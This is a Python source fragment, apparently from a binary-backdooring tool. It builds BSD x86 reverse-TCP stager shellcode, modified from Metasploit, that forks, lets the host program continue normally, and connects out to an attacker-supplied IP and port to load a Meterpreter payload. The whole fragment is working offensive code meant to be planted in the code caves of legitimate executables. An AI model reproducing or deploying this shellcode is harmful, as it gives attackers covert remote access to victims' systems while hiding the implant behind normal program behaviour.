'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/bsd/x86/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'

def reverse_tcp_stager(self, CavesPicked={}):

    if (self.PORT is None):
        print 'Must    provide    port'
        return False
    self.shellcode1 = 'R'
    self.shellcode1 += '1\xc0'
    self.shellcode1 += '\xb0\x02'
    self.shellcode1 += '\xcd\x80'
    self.shellcode1 += 'Z'
    self.shellcode1 += '\x85\xc0t\x07'
    self.shellcode1 += '\xbd'
    self.shellcode1 += struct.pack('<I', self.e_entry)
    self.shellcode1 += '\xff\xe5'
    self.shellcode1 += 'jaX\x99RBRBRh'
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += '\xcd\x80h\x10\x02'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += '\x89\xe1j\x10QPQ\x97jbX\xcd\x80\xb0\x03\xc6A\xfd\x10\xcd\x80\xc3'
    self.shellcode = self.shellcode1
    return self.shellcode1
